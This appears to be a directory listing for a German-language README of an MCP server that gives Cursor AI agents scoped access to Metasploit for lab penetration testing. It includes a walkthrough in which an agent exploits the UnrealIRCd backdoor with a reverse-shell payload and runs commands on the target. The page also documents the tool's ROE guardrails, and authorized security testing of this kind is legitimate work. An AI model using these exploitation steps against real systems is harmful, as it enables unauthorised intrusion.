Skip to main content
Glama
deenesjakoruzh
Suzu-Testing

msf-harness

by Suzu-Testing
OverviewSchemaRelated ServersScoreDiscussions
Python
Local

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

Agentischer Penetrationstest-Harness, der Cursor KI-Agenten mit dem Metasploit Framework über MCP (Model Context Protocol) verbindet. Bietet strukturierten, scope-erzwungenen Zugriff auf Metasploit RPC über 54 zweckgebaute Tools, die Reconnaissance, Exploitation, Session-Management, Post-Exploitation, Pivoting, Payload-Generierung und Datenbankoperationen abdecken.

Entwickelt für autorisierte Labor- und professionelle Pentest-Workflows mit expliziten Rules of Engagement, serverseitiger Richtliniendurchsetzung, Audit-Logging und PTES-konformer Phasen-/Gate-Methodik.

Warum dieser Harness

Fähigkeit

Dieser Harness

Offizielles msfmcpd

GH05TCREW/MetasploitMCP

Anzahl der Tools

54

~23

~15

Serverseitige ROE (CIDR, Modul, Session)

Ja

Nein

Nein

Cursor-Hooks (Scope-Gates, Risikobewertung, Beweise)

18 Skripte

Nein

Nein

PTES-Workflow-Phasen/-Gates

7 Phasen, 57 Skills

Nein

Nein

Konsolen-basierte Exploit-Ausführung

Ja

Nein

Ja

asyncio.to_thread (nicht blockierend)

Ja

Ja

Nein

Domain-Autorisierung

Ja (fail-closed)

Nein

Nein

Automatische LHOST-Erkennung

Ja (plattformübergreifend)

Nein

Nein

Check-vor-Exploit-Gate

Erzwungen

Nein

Nein

Audit-Logging + Weltzustand

Ja

Nein

Nein

In sich geschlossene Pentest-Skills

57 Skills in 5 Stufen

Nein

Nein

Related MCP server: MSFConsole MCP Server

Funktionen

  • 54 MCP-Tools – decken Reconnaissance, Exploitation, Sessions, Meterpreter-Operationen, Pivoting, Payloads, Handler, Workspaces, Konsole, Datenbankschreibvorgänge und Labor-Helfer ab

  • Konsolen-basierte Exploits – mit synchroner Ausgabeerfassung, Sitzungserkennung und Fehleranalyse

  • Serverseitige ROE-Durchsetzung – CIDR-Scope, Domain-Autorisierung, CIDR-Breitenbegrenzungen, Sitzungslimits, DoS-Blockierung, Check-vor-Exploit-Gate

  • 18 Cursor-Hook-Skripte – Scope-Validierung, Risikobewertung (0-100), Duplikaterkennung, Beweisprotokollierung, Weltzustandsverfolgung, Anmeldedaten-Schwärzung

  • 57 in sich geschlossene Agenten-Skills – PTES-Workflow, domänenspezifische Playbooks (Web, AD, Cloud, Container, Mobil, Binär, Evasion, Service-Level, Schwachstellenklassen)

  • 5 spezialisierte Subagenten – Orchestrator, Recon, Exploit, Post-Exploitation, Reviewer

Plattformunterstützung

Plattform

Status

Hinweise

Windows + WSL2 + Kali

Primär

Vollständige Hook-Pipeline, Labor-Docker-Unterstützung

Natives Linux / Kali

Unterstützt

Erfordert pwsh für Hooks; natives msfrpcd

macOS + entferntes MSF

Experimentell

MCP-Server funktioniert; Hooks benötigen pwsh; MSF_HOST auf entferntes RPC zeigen

Voraussetzungen

  • Python 3.10+

  • Metasploit Framework (in WSL/Kali oder nativem Linux)

  • Cursor-IDE mit MCP-Unterstützung

  • PowerShell Core (pwsh) für die Hook-Pipeline

  • Autorisierte Ziele, definiert in scope/scope-master.txt

Schnellstart

1. Klonen und installieren

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. Anmeldedaten konfigurieren

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. Metasploit RPC starten

Windows (WSL):

.\scripts\start-msfrpcd.ps1

Linux / Kali (nativ):

./scripts/start-msfrpcd.sh

4. MCP in Cursor aktivieren

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

Aktivieren Sie msf-harness in den Cursor-Einstellungen > MCP.

5. Einrichtung überprüfen

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

Führen Sie dann im Cursor-Chat msf_status aus, um die MCP-Verbindung zu bestätigen.

6. Labor-Ziele (optional)

Siehe docs/LAB.md für das integrierte Metasploitable2-Docker-Labor.

Für HackTheBox, TryHackMe, OSCP oder eigene Ziele siehe docs/BYO-TARGETS.md.

Detaillierte Einrichtungsanweisungen finden Sie in docs/SETUP.md.

Oder führen Sie das Ein-Kommando-Bootstrap aus:

.\scripts\bootstrap.ps1

Ihr erster Exploit

Sobald die Einrichtung abgeschlossen ist und msf_status im Cursor-Chat funktioniert, versuchen Sie diese End-to-End-Demo gegen das Docker-Labor:

1. Starten Sie die Labor-Ziele:

.\scripts\start-lab-targets.ps1

2. Bitten Sie den Agenten im Cursor-Chat, das Labor auszunutzen:

Scannen Sie das Labor-Ziel unter 10.255.255.254 Port 9667 und nutzen Sie die UnrealIRCd-Hintertür mit Engagement lab-default aus

Der Agent wird:

  1. msf_module_check ausführen, um zu überprüfen, ob das Ziel verwundbar ist (von ROE gefordert)

  2. msf_get_lab_network aufrufen, um LHOST automatisch zu erkennen

  3. msf_run_exploit mit exploit/unix/irc/unreal_ircd_3281_backdoor ausführen

  4. msf_list_active_sessions aufrufen, um die Shell zu bestätigen

  5. msf_send_session_command verwenden, um Befehle auf dem Ziel auszuführen

Oder führen Sie es Schritt für Schritt mit einzelnen MCP-Tool-Aufrufen durch:

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

Siehe docs/LAB.md für die vollständige Portkarte und exploit-spezifische Hinweise.

Architektur

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCP-Tools (insgesamt 54)

Schreibgeschützt (keine engagement_id erforderlich)

Tool

Zweck

msf_status

RPC-Konnektivität, Version, Sitzungsanzahl prüfen

msf_search_modules

Module nach Schlüsselwort, CVE oder Name durchsuchen

msf_module_info

Moduloptionen, Ziele, Referenzen, Rang abrufen

msf_module_options

Konfigurierbare Optionen für ein Modul abrufen

msf_running_stats

Statistiken zu aktuell laufenden Modulen abrufen

msf_list_modules

Module nach Typ auflisten, mit optionalem Filter

msf_host_info

Entdeckte Hosts aus msfdb abfragen

msf_service_info

Entdeckte Dienste (Ports, Protokolle) abfragen

msf_vulnerability_info

Schwachstellenaufzeichnungen abfragen

msf_note_info

Anmerkungen/Notizen abfragen

msf_credential_info

Gesammelte Anmeldedaten abfragen

msf_loot_info

Gesammelte Beute/Dateien abfragen

msf_list_active_sessions

Aktuelle Sitzungen mit Typ und Ziel auflisten

msf_session_info

Detaillierte Informationen für eine einzelne Sitzung abrufen

msf_list_listeners

Aktive Handler/Hintergrundjobs auflisten

msf_job_info

Details für einen bestimmten Job abrufen

msf_list_payloads

Verfügbare Payloads nach Name/Plattform/Architektur durchsuchen

msf_compatible_payloads

Payloads auflisten, die mit einem bestimmten Modul kompatibel sind

msf_list_workspaces

Datenbank-Workspaces auflisten

msf_db_status

Datenbankkonnektivität und Treiberinformationen prüfen

msf_console_list

Aktive RPC-Konsoleninstanzen auflisten

msf_get_lab_network

Labor-Zielkonfiguration abrufen (Docker-Ports, LHOST)

msf_route_list

Aktive Routen für Session-Pivoting auflisten

Aktion (erfordert engagement_id)

Tool

Zweck

msf_module_check

Sichere Schwachstellenprüfung (nicht ausbeutend)

msf_module_results

Ergebnisse eines asynchronen Modul-Jobs per UUID abfragen

msf_run_exploit

Exploit-Modul ausführen (Konsolen- oder RPC-Jobmodus, konfigurierbares Timeout)

msf_run_auxiliary_module

Hilfsmodul ausführen (Scanner, Fuzzer; optionaler Konsolenmodus)

msf_run_post_module

Post-Exploitation-Modul auf einer Sitzung ausführen (optionaler Konsolenmodus)

msf_send_session_command

Befehl in aktiver Shell/Meterpreter ausführen

msf_terminate_session

Eine Sitzung beenden

msf_wait_for_session

Auf neue Sitzungen nach Exploit/Handler warten

msf_session_upgrade

Shell zu Meterpreter upgraden

msf_session_sysinfo

Betriebssystem/Architektur/Hostname von Meterpreter-Sitzung abrufen

msf_session_getuid

Aktuelle Benutzeridentität von Meterpreter-Sitzung abrufen

msf_session_ps

Laufende Prozesse in Meterpreter-Sitzung auflisten

msf_session_download

Datei vom Ziel nach evidence/ herunterladen

msf_session_upload

Datei von evidence/ zum Ziel hochladen (sandboxed)

msf_session_run_script

Meterpreter-Skript in Sitzung ausführen

msf_start_listener

multi/handler-Listener starten

msf_stop_job

Einen Hintergrundjob stoppen

msf_cleanup_jobs

Alle Hintergrundjobs stoppen, um Ports freizugeben

msf_generate_payload

Payload-Datei generieren (gespeichert in evidence/)

msf_create_workspace

Datenbank-Workspace erstellen

msf_set_workspace

Aktiven Workspace wechseln

msf_delete_workspace

Datenbank-Workspace löschen

msf_db_import

Scan-Daten importieren (nmap XML, Nessus, usw.)

msf_db_nmap

nmap ausführen und Ergebnisse automatisch importieren

msf_console_execute

Beliebigen msfconsole-Befehl über RPC ausführen

msf_route_add

Route durch Sitzung für Pivoting hinzufügen

msf_route_delete

Eine Route entfernen

msf_autoroute

Routen automatisch über post/multi/manage/autoroute hinzufügen

msf_report_host

Host manuell in Datenbank melden

msf_credential_add

Entdeckte Anmeldedaten in Datenbank speichern

msf_db_add_note

Notiz/Anmerkung zur Datenbank hinzufügen

Beispiel-Workflow

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

Sicherheitsmodell

  1. Serverseitige ROE (msf_harness/mcp/policy/roe.py): validiert Ziele gegen Engagement-CIDRs, blockiert verbotene Module, erzwingt Sitzungslimits, begrenzt die CIDR-Scanbreite, erfordert Check-vor-Exploit, validiert Domains (fail-closed)

  2. Cursor-Hooks (.cursor/hooks/): Scope-Gates für jeden Shell-Befehl und MCP-Aufruf, Risikobewertung (0-100 mit CRITICAL-Eskalation), Duplikaterkennung, Audit-Logging in logs/command-ledger.jsonl, automatisches Speichern von Beweisen, Schwärzung von Anmeldedaten

  3. Konsolen-Befehlsanalyse: msf_console_execute extrahiert und validiert RHOSTS, Modulpfade und db_nmap-Ziele aus Rohbefehlen

  4. Dateipfad-Beschränkungen: msf_db_import und msf_generate_payload auf evidence/- und engagements/-Verzeichnisse beschränkt

  5. DoS-Module (auxiliary/dos/*) bedingungslos blockiert

  6. Eingabebereinigung: nmap-Argumente auf Whitelist, Optionsschlüssel validiert, Konsolenwerte mit Anführungszeichen maskiert

Nur auf Systemen verwenden, für die Sie autorisiert sind.

Fehlerbehebung

Symptom

Lösung

msf_status meldet „Cannot connect to msfrpcd"

Führen Sie .\scripts\start-msfrpcd.ps1 aus; überprüfen Sie, ob msfrpcd lauscht mit wsl -e bash -lc "ss -tlnp | grep 55553"

MCP-Server erscheint nicht in Cursor

Stellen Sie sicher, dass .cursor/mcp.json absolute Pfade für cwd und PYTHONPATH verwendet; starten Sie Cursor neu

„MSF_PASSWORD ist nicht gesetzt"

Setzen Sie es in .env (kopieren Sie bei Bedarf aus .env.example)

„Ziel nicht im Scope" oder ROE-Ablehnung

Fügen Sie die Ziel-IP/das Ziel-CIDR zu scope/scope-master.txt UND engagements/<id>/roe.yaml authorized_cidrs hinzu

Modulprüfung schlägt fehl mit „nicht unterstützt"

Einige Module haben keine check-Methode; das ist normal. Fahren Sie mit Vorsicht fort.

Keine Sitzung nach Exploit

Überprüfen Sie, ob LHOST korrekt ist (msf_get_lab_network); prüfen Sie die Firewall; versuchen Sie ein anderes Payload

Hook-Fehler in Cursor-Ausgabe

Überprüfen Sie, ob pwsh (PowerShell 7+) installiert ist: winget install Microsoft.PowerShell

Python-Importfehler

Führen Sie pip install -e ".[mcp]" aus dem Projektstammverzeichnis aus

Führen Sie python scripts/doctor.py für einen vollständigen Voraussetzungs-Health-Check aus.

Entwicklung

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

Siehe CONTRIBUTING.md für Entwicklungseinrichtung und PR-Richtlinien.

Verzeichnisstruktur

Pfad

Zweck

msf_harness/mcp/

Python-MCP-Serverpaket

msf_harness/mcp/tools/

MCP-Tool-Implementierungen (12 Module, 54 Tools)

msf_harness/mcp/rpc/

Metasploit-RPC-Client mit automatischer Wiederverbindung

msf_harness/mcp/policy/

ROE-Durchsetzung (CIDR, Domain, Modul, Sitzung, Exploit-Gate)

scope/

Autorisierte Ziel-CIDRs und Domains

engagements/

ROE-Konfigurationen und Workflow-Status pro Engagement

evidence/msf/

Erfasste Beweise (gitignored)

logs/

Hook-Audit-Logs und Befehlsprotokoll (gitignored)

.cursor/hooks/

PowerShell-Core-Sicherheitsgates (18 Skripte)

.cursor/skills/

Agent-Workflow-Playbooks (57 Fähigkeiten)

.cursor/agents/

Benutzerdefinierte Subagent-Definitionen (5 Agenten)

.cursor/rules/

Immer aktive Agent-Anleitung (3 Regeln + AGENTS.md)

scripts/

Dienstprogrammskripte (RPC starten, Engagement erstellen, Health-Check, MCP validieren)

tests/

Pytest- und Hook-Testsuiten

docs/

Setup-Anleitung, Labor-Anleitung, BYO-Ziele-Anleitung

Lizenz

MIT

Danksagungen

This server cannot be installed

A
license - permissive license
Not graded
quality - not tested
C
maintenance

How are these scores calculated?

Maintenance

–Maintainers
–Response time
–Release cycle
–Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • MSFConsole MCP Server

    LYFTIUM-INC
    A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT

  • MSFConsole MCP Server

    PreistlyPython
    -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • mcp-server

    MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • ToolAPI

    Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • MCP Fortress

    Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server